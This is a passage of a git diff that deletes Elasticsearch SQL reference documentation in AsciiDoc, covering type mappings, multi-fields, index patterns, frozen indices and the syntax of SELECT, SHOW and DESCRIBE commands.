-| <<object, `object`>>        | object        | STRUCT      | 0
-| <<nested, `nested`>>        | nested        | STRUCT      | 0
-
-4+h| Unsupported types
-
-| _types not mentioned above_ | unsupported   | OTHER       | 0
-
-|===
-
-[NOTE]
-Most of {es} <<mapping-types, data types>> are available in {es-sql}, as indicated above.
-As one can see, all of {es} <<mapping-types, data types>> are mapped to the data type with the same
-name in {es-sql}, with the exception of **date** data type which is mapped to **datetime** in {es-sql}.
-This is to avoid confusion with the ANSI SQL types **DATE** (date only) and **TIME** (time only), which are also
-supported by {es-sql} in queries (with the use of
-<<sql-functions-type-conversion-cast>>/<<sql-functions-type-conversion-convert>>), but don't correspond to an
-actual mapping in {es} (see the <<es-sql-only-types, `table`>> below).
-
-Obviously, not all types in {es} have an equivalent in SQL and vice-versa hence why, {es-sql}
-uses the data type _particularities_ of the former over the latter as ultimately {es} is the backing store.
-
-In addition to the types above, {es-sql} also supports at _runtime_ SQL-specific types that do not have an equivalent in {es}.
-Such types cannot be loaded from {es} (as it does not know about them) however can be used inside {es-sql} in queries or their results.
-
-[[es-sql-only-types]]
-
-The table below indicates these types:
-
-[cols="^m,^"]
-
-|===
-s|SQL type
-s|SQL precision
-
-
-| date                      | 29
-| time                      | 18
-| interval_year             | 7
-| interval_month            | 7
-| interval_day              | 23
-| interval_hour             | 23
-| interval_minute           | 23
-| interval_second           | 23
-| interval_year_to_month    | 7
-| interval_day_to_hour      | 23
-| interval_day_to_minute    | 23
-| interval_day_to_second    | 23
-| interval_hour_to_minute   | 23
-| interval_hour_to_second   | 23
-| interval_minute_to_second | 23
-| geo_point                 | 52
-| geo_shape                 | 2,147,483,647
-| shape                     | 2,147,483,647
-
-|===
-
-
-[[sql-multi-field]]
-[discrete]
-==== SQL and multi-fields
-
-A core concept in {es} is that of an `analyzed` field, that is a full-text value that is interpreted in order
-to be effectively indexed. These fields are of type <<text, `text`>> and are not used for sorting or aggregations as their actual value depends on the <<analyzer, `analyzer`>> used hence why {es} also offers the <<keyword, `keyword`>> type for storing the _exact_
-value.
-
-In most case, and the default actually, is to use both types for strings which {es} supports through <<multi-fields, multi fields>>, that is the ability to index the same string in multiple ways; for example index it both as `text` for search but also as `keyword` for sorting and aggregations.
-
-As SQL requires exact values, when encountering a `text` field {es-sql} will search for an exact multi-field that it can use for comparisons, sorting and aggregations.
-To do that, it will search for the first `keyword` that it can find that is _not_ normalized and use that as the original field _exact_ value.
-
-Consider the following `string` mapping:
-
-[source,js]
-----
-{
-  "first_name": {
-    "type": "text",
-    "fields": {
-      "raw": {
-        "type": "keyword"
-      }
-    }
-  }
-}
-----
-// NOTCONSOLE
-
-The following SQL query:
-
-[source, sql]
-----
-SELECT first_name FROM index WHERE first_name = 'John'
-----
-
-is identical to:
-
-[source, sql]
-----
-SELECT first_name FROM index WHERE first_name.raw = 'John'
-----
-
-as {es-sql} automatically _picks_ up the `raw` multi-field from `raw` for exact matching.
-
diff --git a/docs/reference/sql/language/index.asciidoc b/docs/reference/sql/language/index.asciidoc
deleted file mode 100644
index 2ae33d32f84..00000000000
--- a/docs/reference/sql/language/index.asciidoc
+++ /dev/null
@@ -1,16 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-spec]]
-== SQL Language
-
-This chapter describes the SQL syntax and semantics supported namely:
-
-<<sql-lexical-structure>>:: Lexical structure
-<<sql-commands>>:: Commands
-<<sql-data-types>>:: Data types
-<<sql-index-patterns>>:: Index patterns
-
-include::syntax/lexic/index.asciidoc[]
-include::syntax/commands/index.asciidoc[]
-include::data-types.asciidoc[]
-include::indices.asciidoc[]
diff --git a/docs/reference/sql/language/indices.asciidoc b/docs/reference/sql/language/indices.asciidoc
deleted file mode 100644
index e8d20260d0a..00000000000
--- a/docs/reference/sql/language/indices.asciidoc
+++ /dev/null
@@ -1,115 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-index-patterns]]
-=== Index patterns
-
-{es-sql} supports two types of patterns for matching multiple indices or tables:
-
-[[sql-index-patterns-multi]]
-[discrete]
-==== {es} multi-index
-
-The {es} notation for enumerating, including or excluding <<multi-index,multi-target syntax>>
-is supported _as long_ as it is quoted or escaped as a table identifier.
-
-For example:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[showTablesEsMultiIndex]
-----
-
-Notice the pattern is surrounded by double quotes `"`. It enumerated `*` meaning all indices however
-it excludes (due to `-`) all indices that start with `l`.
-This notation is very convenient and powerful as it allows both inclusion and exclusion, depending on
-the target naming convention.
-
-The same kind of patterns can also be used to query multiple indices or tables.
-
-For example:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[fromTablePatternQuoted]
-----
-
-NOTE: There is the restriction that all resolved concrete tables have the exact same mapping.
-
-[[sql-index-patterns-like]]
-[discrete]
-==== SQL `LIKE` notation
-
-The common `LIKE` statement (including escaping if needed) to match a wildcard pattern, based on one `_`
-or multiple `%` characters.
-
-Using `SHOW TABLES` command again:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[showTablesLikeWildcard]
-----
-
-The pattern matches all tables that start with `emp`. 
-
-This command supports _escaping_ as well, for example:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[showTablesLikeEscape]
-----
-
-Notice how now `emp%` does not match any tables because `%`, which means match zero or more characters,
-has been escaped by `!` and thus becomes an regular char. And since there is no table named `emp%`,
-an empty table is returned.
-
-In a nutshell, the differences between the two type of patterns are:
-
-[cols="^h,^,^"]
-|===
-s|Feature
-s|Multi index
-s|SQL `LIKE`
-
-| Type of quoting    | `"` | `'`
-| Inclusion          | Yes | Yes
-| Exclusion          | Yes | No
-| Enumeration        | Yes | No
-| One char pattern   | No  | `_`
-| Multi char pattern | `*` | `%`
-| Escaping           | No  | `ESCAPE`
-
-|===
-
-Which one to use, is up to you however try to stick to the same one across your queries for consistency.
-
-NOTE: As the query type of quoting between the two patterns is fairly similar (`"` vs `'`), {es-sql} _always_
-requires the keyword `LIKE` for SQL `LIKE` pattern.
-
-[[sql-index-frozen]]
-=== Frozen Indices
-
-{es} <<frozen-indices, frozen indices>> are a useful and powerful tool for hot/warm architecture introduced in {es} 6.6, 
-essentially by trading speed for memory.
-{es-sql} supports frozen indices and similar to {es}, due to their performance characteristics, allows searches on them only
-when explicitly told so by user - in other words, by default, frozen indices are not included in searches.
-
-One can toggle the use of frozen indices through:
-
-dedicated configuration parameter::
-Set to `true` properties `index_include_frozen` in the <<sql-rest>> or `index.include.frozen` in the drivers to include frozen indices.
-
-dedicated keyword::
-Explicitly perform the inclusion through the dedicated `FROZEN` keyword in the `FROM` clause or `INCLUDE FROZEN` in the `SHOW` commands:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[showTablesIncludeFrozen]
-----
-
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[fromTableIncludeFrozen]
-----
-
-Unless enabled, frozen indices are completely ignored; it is as if they do not exist and as such, queries ran against them are likely to fail.
\ No newline at end of file
diff --git a/docs/reference/sql/language/syntax/commands/describe-table.asciidoc b/docs/reference/sql/language/syntax/commands/describe-table.asciidoc
deleted file mode 100644
index c400a35dcd7..00000000000
--- a/docs/reference/sql/language/syntax/commands/describe-table.asciidoc
+++ /dev/null
@@ -1,34 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-syntax-describe-table]]
-=== DESCRIBE TABLE
-
-.Synopsis:
-[source, sql]
-----
-DESCRIBE
-    [table identifier | <1>
-    [LIKE pattern]]     <2>
-----
-
-<1> single table identifier or double quoted es multi index
-<2> SQL LIKE pattern
-
-or 
-
-[source, sql]
-----
-DESC 
-    [table identifier | <1>
-    [LIKE pattern]]     <2>
-----
-
-<1> single table identifier or double quoted es multi index
-<2> SQL LIKE pattern
-
-*Description*: `DESC` and `DESCRIBE` are aliases to <<sql-syntax-show-columns>>.
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[describeTable]
-----
diff --git a/docs/reference/sql/language/syntax/commands/index.asciidoc b/docs/reference/sql/language/syntax/commands/index.asciidoc
deleted file mode 100644
index 78259d07914..00000000000
--- a/docs/reference/sql/language/syntax/commands/index.asciidoc
+++ /dev/null
@@ -1,18 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-commands]]
-=== SQL Commands
-
-This section contains the list of SQL commands supported by {es-sql} along with their syntax:
-
-<<sql-syntax-describe-table>>:: Describe a table.
-<<sql-syntax-select>>:: Retrieve rows from zero or more tables.
-<<sql-syntax-show-columns>>:: List columns in table.
-<<sql-syntax-show-functions>>:: List supported functions.
-<<sql-syntax-show-tables>>:: List tables available.
-
-include::describe-table.asciidoc[]
-include::select.asciidoc[]
-include::show-columns.asciidoc[]
-include::show-functions.asciidoc[]
-include::show-tables.asciidoc[]
diff --git a/docs/reference/sql/language/syntax/commands/select.asciidoc b/docs/reference/sql/language/syntax/commands/select.asciidoc
deleted file mode 100644
index ef3878aa6e7..00000000000
--- a/docs/reference/sql/language/syntax/commands/select.asciidoc
+++ /dev/null
@@ -1,469 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-syntax-select]]
-=== SELECT
-
-.Synopsis:
-[source, sql]
-----
-SELECT [TOP [ count ] ] select_expr [, ...]
-[ FROM table_name ]
-[ WHERE condition ]
-[ GROUP BY grouping_element [, ...] ]
-[ HAVING condition]
-[ ORDER BY expression [ ASC | DESC ] [, ...] ]
-[ LIMIT [ count ] ]
-[ PIVOT ( aggregation_expr FOR column IN ( value [ [ AS ] alias ] [, ...] ) ) ]
-----
-
-*Description*: Retrieves rows from zero or more tables.
-
-The general execution of `SELECT` is as follows:
-
-. All elements in the `FROM` list are computed (each element can be base or alias table). Currently `FROM` supports exactly one table. Do note however that the table name can be a pattern (see <<sql-syntax-from, FROM Clause>> below).
-. If the `WHERE` clause is specified, all rows that do not satisfy the condition are eliminated from the output. (See <<sql-syntax-where, WHERE Clause>> below.)
-. If the `GROUP BY` clause is specified, or if there are aggregate function calls, the output is combined into groups of rows that match on one or more values, and the results of aggregate functions are computed. If the `HAVING` clause is present, it eliminates groups that do not satisfy the given condition. (See <<sql-syntax-group-by, GROUP BY Clause>> and <<sql-syntax-having, HAVING Clause>> below.)
-. The actual output rows are computed using the `SELECT` output expressions for each selected row or row group.
-. If the `ORDER BY` clause is specified, the returned rows are sorted in the specified order. If `ORDER BY` is not given, the rows are returned in whatever order the system finds fastest to produce. (See <<sql-syntax-order-by,ORDER BY Clause>> below.)
-. If the `LIMIT` or `TOP` is specified (cannot use both in the same query), the `SELECT` statement only returns a subset of the result rows. (See <<sql-syntax-limit, LIMIT Clause>> and <<sql-syntax-top, TOP clause>> below.)
-
-
-[[sql-syntax-select-list]]
-==== `SELECT` List
-
-`SELECT` list, namely the expressions between `SELECT` and `FROM`, represent the output rows of the `SELECT` statement.
-
-As with a table, every output column of a `SELECT` has a name which can be either specified per column through the `AS` keyword :
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[selectColumnAlias]
-----
-
-Note: `AS` is an optional keyword however it helps with the readability and in some case ambiguity of the query
-which is why it is recommended to specify it.
-
-assigned by {es-sql} if no name is given:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[selectInline]
-----
-
-or if it's a simple column reference, use its name as the column name:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[selectColumn]
-----
-
-[[sql-syntax-select-wildcard]]
-==== Wildcard
-
-To select all the columns in the source, one can use `*`:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[wildcardWithOrder]
-----
-
-which essentially returns all(top-level fields, sub-fields, such as multi-fields are ignored] columns found.
-
-[[sql-syntax-top]]
-==== TOP
-
-The `TOP` clause can be used before the <<sql-syntax-select-list, `SELECT` list>> or the <<sql-syntax-select-wildcard, `wildcard`> to
-restrict (limit) the number of rows returned using the format:
-
-[source, sql]
-----
-SELECT TOP <count> <select list> ...
-----
-
-where
-
-count:: is a positive integer or zero indicating the maximum *possible* number of results being returned (as there might be fewer matches
-than the limit). If `0` is specified, no results are returned.
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[topBasic]
-----
-
-[NOTE]
-<<sql-syntax-top, `TOP`>> and <<sql-syntax-limit, `LIMIT`>> cannot be used together in the same query and an error is returned otherwise.
-
-[[sql-syntax-from]]
-==== FROM Clause
-
-The `FROM` clause specifies one table for the `SELECT` and has the following syntax:
-
-[source, sql]
-----
-FROM table_name [ [ AS ] alias ]
-----
-
-where:
-
-`table_name`::
-
-Represents the name (optionally qualified) of an existing table, either a concrete or base one (actual index) or alias.
-
-
-If the table name contains special SQL characters (such as `.`,`-`,`*`,etc...) use double quotes to escape them:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[fromTableQuoted]
-----
-
-The name can be a <<multi-index, pattern>> pointing to multiple indices (likely requiring quoting as mentioned above) with the restriction that *all* resolved concrete tables have **exact mapping**.
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[fromTablePatternQuoted]
-----
-
-`alias`::
-A substitute name for the `FROM` item containing the alias. An alias is used for brevity or to eliminate ambiguity. When an alias is provided, it completely hides the actual name of the table and must be used in its place.
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[fromTableAlias]
-----
-
-[[sql-syntax-where]]
-==== WHERE Clause
-
-The optional `WHERE` clause is used to filter rows from the query and has the following syntax:
-
-[source, sql]
-----
-WHERE condition
-----
-
-where:
-
-`condition`::
-
-Represents an expression that evaluates to a `boolean`. Only the rows that match the condition (to `true`) are returned.
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[basicWhere]
-----
-
-[[sql-syntax-group-by]]
-==== GROUP BY
-
-The `GROUP BY` clause is used to divide the results into groups of rows on matching values from the designated columns. It has the following syntax:
-
-[source, sql]
-----
-GROUP BY grouping_element [, ...]
-----
-
-where:
-
-`grouping_element`::
-
-Represents an expression on which rows are being grouped _on_. It can be a column name, alias or ordinal number of a column or an arbitrary expression of column values.
-
-A common, group by column name:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[groupByColumn]
-----
-
-Grouping by output ordinal:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[groupByOrdinal]
-----
-
-Grouping by alias:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[groupByAlias]
-----
-
-And grouping by column expression (typically used along-side an alias):
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[groupByExpression]
-----
-
-Or a mixture of the above:
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[groupByMulti]
-----
-
-
-When a `GROUP BY` clause is used in a `SELECT`, _all_ output expressions must be either aggregate functions or expressions used for grouping or derivatives of (otherwise there would be more than one possible value to return for each ungrouped column).
-
-To wit:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[groupByAndAgg]
-----
-
-Expressions over aggregates used in output:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[groupByAndAggExpression]
-----
-
-Multiple aggregates used:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[groupByAndMultipleAggs]
-----
-
-[TIP]
-If custom bucketing is required, it can be achieved with the use of <<sql-functions-conditional-case, `CASE`>>,
-as shown <<sql-functions-conditional-case-groupby-custom-buckets, here>>.
-
-[[sql-syntax-group-by-implicit]]
-===== Implicit Grouping
-
-When an aggregation is used without an associated `GROUP BY`, an __implicit grouping__ is applied, meaning all selected rows are considered to form a single default, or implicit group.
-As such, the query emits only a single row (as there is only a single group).
-
-A common example is counting the number of records:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[groupByImplicitCount]
-----
-
-Of course, multiple aggregations can be applied:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[groupByImplicitMultipleAggs]
-----
-
-[[sql-syntax-having]]
-==== HAVING
-
-The `HAVING` clause can be used _only_ along aggregate functions (and thus `GROUP BY`) to filter what groups are kept or not and has the following syntax:
-
-[source, sql]
-----
-HAVING condition
-----
-
-where:
-
-`condition`::
-
-Represents an expression that evaluates to a `boolean`. Only groups that match the condition (to `true`) are returned.
-
-Both `WHERE` and `HAVING` are used for filtering however there are several significant differences between them:
-
-. `WHERE` works on individual *rows*, `HAVING` works on the *groups* created by ``GROUP BY``
-. `WHERE` is evaluated *before* grouping, `HAVING` is evaluated *after* grouping
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[groupByHaving]
-----
-
-Further more, one can use multiple aggregate expressions inside `HAVING` even ones that are not used in the output (`SELECT`):
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[groupByHavingMultiple]
-----
-
-[[sql-syntax-having-group-by-implicit]]
-===== Implicit Grouping
-
-As indicated above, it is possible to have a `HAVING` clause without a `GROUP BY`. In this case, the so-called <<sql-syntax-group-by-implicit, __implicit grouping__>> is applied, meaning all selected rows are considered to form a single group and `HAVING` can be applied on any of the aggregate functions specified on this group.
-As such, the query emits only a single row (as there is only a single group) and `HAVING` condition returns either one row (the group) or zero if the condition fails.
-
-In this example, `HAVING` matches:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[groupByHavingImplicitMatch]
-----
-
-//However `HAVING` can also not match, in which case an empty result is returned:
-//
-//[source, sql]
-//----
-//include-tagged::{sql-specs}/docs/docs.csv-spec[groupByHavingImplicitNoMatch]
-//----
-
-
-[[sql-syntax-order-by]]
-==== ORDER BY
-
-The `ORDER BY` clause is used to sort the results of `SELECT` by one or more expressions:
-
-[source, sql]
-----
-ORDER BY expression [ ASC | DESC ] [, ...]
-----
-
-where:
-
-`expression`::
-
-Represents an input column, an output column or an ordinal number of the position (starting from one) of an output column. Additionally, ordering can be done based on the results _score_.
-The direction, if not specified, is by default `ASC` (ascending).
-Regardless of the ordering specified, null values are ordered last (at the end).
-
-IMPORTANT: When used along-side, `GROUP BY` expression can point _only_ to the columns used for grouping or aggregate functions.
-
-For example, the following query sorts by an arbitrary input field (`page_count`):
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[orderByBasic]
-----
-
-[[sql-syntax-order-by-grouping]]
-==== Order By and Grouping
-
-For queries that perform grouping, ordering can be applied either on the grouping columns (by default ascending) or on aggregate functions. 
-
-NOTE: With `GROUP BY`, make sure the ordering targets the resulting group - applying it to individual elements inside the group will have no impact on the results since regardless of the order, values inside the group are aggregated.
-
-For example, to order groups simply indicate the grouping key:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[orderByGroup]
-----
-
-Multiple keys can be specified of course:
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[groupByMulti]
-----
-
-Further more, it is possible to order groups based on aggregations of their values:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[orderByAgg]
-----
-
-IMPORTANT: Ordering by aggregation is possible for up to *10000* entries for memory consumption reasons.
-In cases where the results pass this threshold, use <<sql-syntax-limit,`LIMIT`>> or <<sql-syntax-top, `TOP`>> to reduce the number
-of results.
-
-[[sql-syntax-order-by-score]]
-==== Order By Score
-
-When doing full-text queries in the `WHERE` clause, results can be returned based on their
-{defguide}/relevance-intro.html[score] or _relevance_ to the given query.
-
-NOTE: When doing multiple text queries in the `WHERE` clause then, their scores will be
-combined using the same rules as {es}'s
-<<query-dsl-bool-query,bool query>>. 
-
-To sort based on the `score`, use the special function `SCORE()`:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[orderByScore]
-----
-
-Note that you can return `SCORE()` by using a full-text search predicate in the `WHERE` clause.
-This is possible even if `SCORE()` is not used for sorting:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[orderByScoreWithMatch]
-----
-
-NOTE:
-Trying to return `score` from a non full-text query will return the same value for all results, as
-all are equally relevant.
-
-[[sql-syntax-limit]]
-==== LIMIT
-
-The `LIMIT` clause restricts (limits) the number of rows returned using the format:
-
-[source, sql]
-----
-LIMIT ( <count> | ALL )
-----
-
-where
-
-count:: is a positive integer or zero indicating the maximum *possible* number of results being returned (as there might be fewer matches
-than the limit). If `0` is specified, no results are returned.
-
-ALL:: indicates there is no limit and thus all results are being returned.
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[limitBasic]
-----
-
-[NOTE]
-<<sql-syntax-top, `TOP`>> and <<sql-syntax-limit, `LIMIT`>> cannot be used together in the same query and an error is returned otherwise.
-
-[[sql-syntax-pivot]]
-==== PIVOT
-
-The `PIVOT` clause performs a cross tabulation on the results of the query: it aggregates the results and rotates rows into columns. The rotation is done by turning unique values from one column in the expression - the pivoting column - into multiple columns in the output. The column values are aggregations on the remaining columns specified in the expression.
-
-The clause can be broken down in three parts: the aggregation, the `FOR`- and the `IN`-subclause.
-
-The `aggregation_expr` subclause specifies an expression containing an <<sql-functions-aggs, aggregation function>> to be applied on one of the source columns. Only one aggregation can be provided, currently.
-
-The `FOR`-subclause specifies the pivoting column: the distinct values of this column will become the candidate set of values to be rotated.
-
-The `IN`-subclause defines a filter: the intersection between the set provided here and the candidate set from the `FOR`-subclause will be rotated to become the headers of the columns appended to the end result. The filter can not be a subquery, one must provide here literal values, obtained in advance.
-
-The pivoting operation will perform an implicit <<sql-syntax-group-by, GROUP BY>> on all source columns not specified in the `PIVOT` clause, along with the values filtered through the `IN`-clause. Consider the following statement:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/pivot.csv-spec[sumWithoutSubquery]
-----
-
-The query execution could logically be broken down in the following steps:
-
-. a <<sql-syntax-group-by, GROUP BY>> on the column in the `FOR`-clause: `languages`;
-. the resulting values are filtered through the set provided in the `IN`-clause;
-. the now filtered column is pivoted to form the headers of the two additional columns appended to the result: `1` and `2`;
-. a <<sql-syntax-group-by, GROUP BY>> on all columns of the source table `test_emp`, except `salary` (part of the aggregation subclause) and `languages` (part of the `FOR`-clause);
-. the values in these appended columns are the `SUM` aggregations of `salary`, grouped by the respective language.
-
-
-The table-value expression to cross-tabulate can also be the result of a subquery:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/pivot.csv-spec[averageWithOneValue]
-----
-
-The pivoted columns can be aliased (and quoting is required to accommodate white spaces), with or without a supporting `AS` token:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/pivot.csv-spec[averageWithTwoValuesAndAlias]
-----
-
-The resulting cross tabulation can further have the <<sql-syntax-order-by,ORDER BY>> and <<sql-syntax-limit, LIMIT>> clauses applied:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/pivot.csv-spec[averageWithOneValueAndOrder]
-----
-
diff --git a/docs/reference/sql/language/syntax/commands/show-columns.asciidoc b/docs/reference/sql/language/syntax/commands/show-columns.asciidoc
deleted file mode 100644
index 106374dcb28..00000000000
--- a/docs/reference/sql/language/syntax/commands/show-columns.asciidoc
+++ /dev/null
@@ -1,26 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-syntax-show-columns]]
-=== SHOW COLUMNS
-
-.Synopsis:
-[source, sql]
-----
-SHOW COLUMNS [ FROM | IN ]?
-    [table identifier | <1>
-    [LIKE pattern] ]    <2>
-----
-
-<1> single table identifier or double quoted es multi index
-<2> SQL LIKE pattern
-
-See <<sql-index-patterns, index patterns>> for more information about
-patterns.
-
-*Description*: List the columns in table and their data type (and other attributes).
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[showColumns]
-----
-
diff --git a/docs/reference/sql/language/syntax/commands/show-functions.asciidoc b/docs/reference/sql/language/syntax/commands/show-functions.asciidoc
deleted file mode 100644
index c7e1f32b972..00000000000
--- a/docs/reference/sql/language/syntax/commands/show-functions.asciidoc
+++ /dev/null
@@ -1,45 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-syntax-show-functions]]
-=== SHOW FUNCTIONS
-
-.Synopsis:
-[source, sql]
-----
-SHOW FUNCTIONS [LIKE pattern?]? <1>
-----
-
-<1> SQL match pattern
-
-*Description*: List all the SQL functions and their type. The `LIKE` clause can be used to restrict the list of names to the given pattern.
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[showFunctions]
-----
-
-The list of functions returned can be customized based on the pattern.
-
-It can be an exact match:
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[showFunctionsLikeExact]
-----
-
-A wildcard for exactly one character:
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[showFunctionsLikeChar]
-----
-
-A wildcard matching zero or more characters:
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[showFunctionsLikeWildcard]
-----
-
-Or of course, a variation of the above:
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[showFunctionsWithPattern]
-----
diff --git a/docs/reference/sql/language/syntax/commands/show-tables.asciidoc b/docs/reference/sql/language/syntax/commands/show-tables.asciidoc
deleted file mode 100644
index 663ec46b6df..00000000000
--- a/docs/reference/sql/language/syntax/commands/show-tables.asciidoc
+++ /dev/null
@@ -1,63 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-syntax-show-tables]]
-=== SHOW TABLES
-
-.Synopsis:
-[source, sql]
-----
-SHOW TABLES
-    [INCLUDE FROZEN]?   <1>
-    [table identifier | <2>
-    [LIKE pattern ]]?   <3>
-----
-
-<1> Whether or not to include frozen indices
-<2> single table identifier or double quoted es multi index
-<3> SQL LIKE pattern
-
-See <<sql-index-patterns, index patterns>> for more information about
-patterns.
-
-
-*Description*: List the tables available to the current user and their type.
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[showTables]
-----
-
-Match multiple indices by using {es} <<multi-index,multi-target syntax>>
-notation:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[showTablesEsMultiIndex]
-----
-
-One can also use the `LIKE` clause to restrict the list of names to the given pattern.
-
-The pattern can be an exact match:
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[showTablesLikeExact]
-----
-
-Multiple chars:
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[showTablesLikeWildcard]
-----
-
-A single char:
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[showTablesLikeOneChar]
-----
-
-
-Or a mixture of single and multiple chars:
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[showTablesLikeMixed]
-----
diff --git a/docs/reference/sql/language/syntax/lexic/index.asciidoc b/docs/reference/sql/language/syntax/lexic/index.asciidoc
deleted file mode 100644
index b717a72fb80..00000000000
--- a/docs/reference/sql/language/syntax/lexic/index.asciidoc
+++ /dev/null
@@ -1,225 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-lexical-structure]]
-=== Lexical Structure
-
-This section covers the major lexical structure of SQL, which for the most part, is going to resemble that of ANSI SQL itself hence why low-levels details are not discussed in depth.
-
-{es-sql} currently accepts only one _command_ at a time. A command is a sequence of _tokens_ terminated by the end of input stream.
-
-A token can be a __key word__, an _identifier_ (_quoted_ or _unquoted_), a _literal_ (or constant) or a special character symbol (typically a delimiter). Tokens are typically separated by whitespace (be it space, tab) though in some cases, where there is no ambiguity (typically due to a character symbol) this is not needed - however for readability purposes this should be avoided.
-
-[[sql-syntax-keywords]]
-==== Key Words
-
-Take the following example:
-
-[source, sql]
-----
-SELECT * FROM table
-----
-
-This query has four tokens: `SELECT`, `*`, `FROM` and `table`. The first three, namely `SELECT`, `*` and `FROM` are __key words__ meaning words that have a fixed meaning in SQL. The token `table` is an _identifier_ meaning it identifies (by name) an entity inside SQL such as a table (in this case), a column, etc...
-
-As one can see, both key words and identifiers have the _same_ lexical structure and thus one cannot know whether a token is one or the other without knowing the SQL language; the complete list of key words is available in the <<sql-syntax-reserved, reserved appendix>>.
-Do note that key words are case-insensitive meaning the previous example can be written as:
-
-[source, sql]
-----
-select * fRoM table;
-----
-
-Identifiers however are not - as {es} is case sensitive, {es-sql} uses the received value verbatim.
-
-To help differentiate between the two, through-out the documentation the SQL key words are upper-cased a convention we find increases readability and thus recommend to others.
-
-[[sql-syntax-identifiers]]
-==== Identifiers
-
-Identifiers can be of two types: __quoted__ and __unquoted__:
-
-[source, sql]
-----
-SELECT ip_address FROM "hosts-*"
-----
-
-This query has two identifiers, `ip_address` and `hosts-*` (an <<multi-index,index pattern>>). As `ip_address` does not clash with any key words it can be used verbatim, `hosts-*` on the other hand cannot as it clashes with `-` (minus operation) and `*` hence the double quotes.
-
-Another example:
-
-[source, sql]
-----
-SELECT "from" FROM "<logstash-{now/d}>"
-----
-
-The first identifier from needs to quoted as otherwise it clashes with the `FROM` key word (which is case insensitive as thus can be written as `from`) while the second identifier using {es} <<date-math-index-names>> would have otherwise confuse the parser.
-
-Hence why in general, *especially* when dealing with user input it is *highly* recommended to use quotes for identifiers. It adds minimal increase to your queries and in return offers clarity and disambiguation.
-
-[[sql-syntax-literals]]
-==== Literals (Constants)
-
-{es-sql} supports two kind of __implicitly-typed__ literals: strings and numbers.
-
-[[sql-syntax-string-literals]]
-[discrete]
-===== String Literals
-
-A string literal is an arbitrary number of characters bounded by single quotes `'`: `'Giant Robot'`. 
-To include a single quote in the string, escape it using another single quote: `'Captain EO''s Voyage'`. 
-
-NOTE: An escaped single quote is *not* a double quote (`"`), but a single quote `'` _repeated_ (`''`).
-
-[sql-syntax-numeric-literals]
-[discrete]
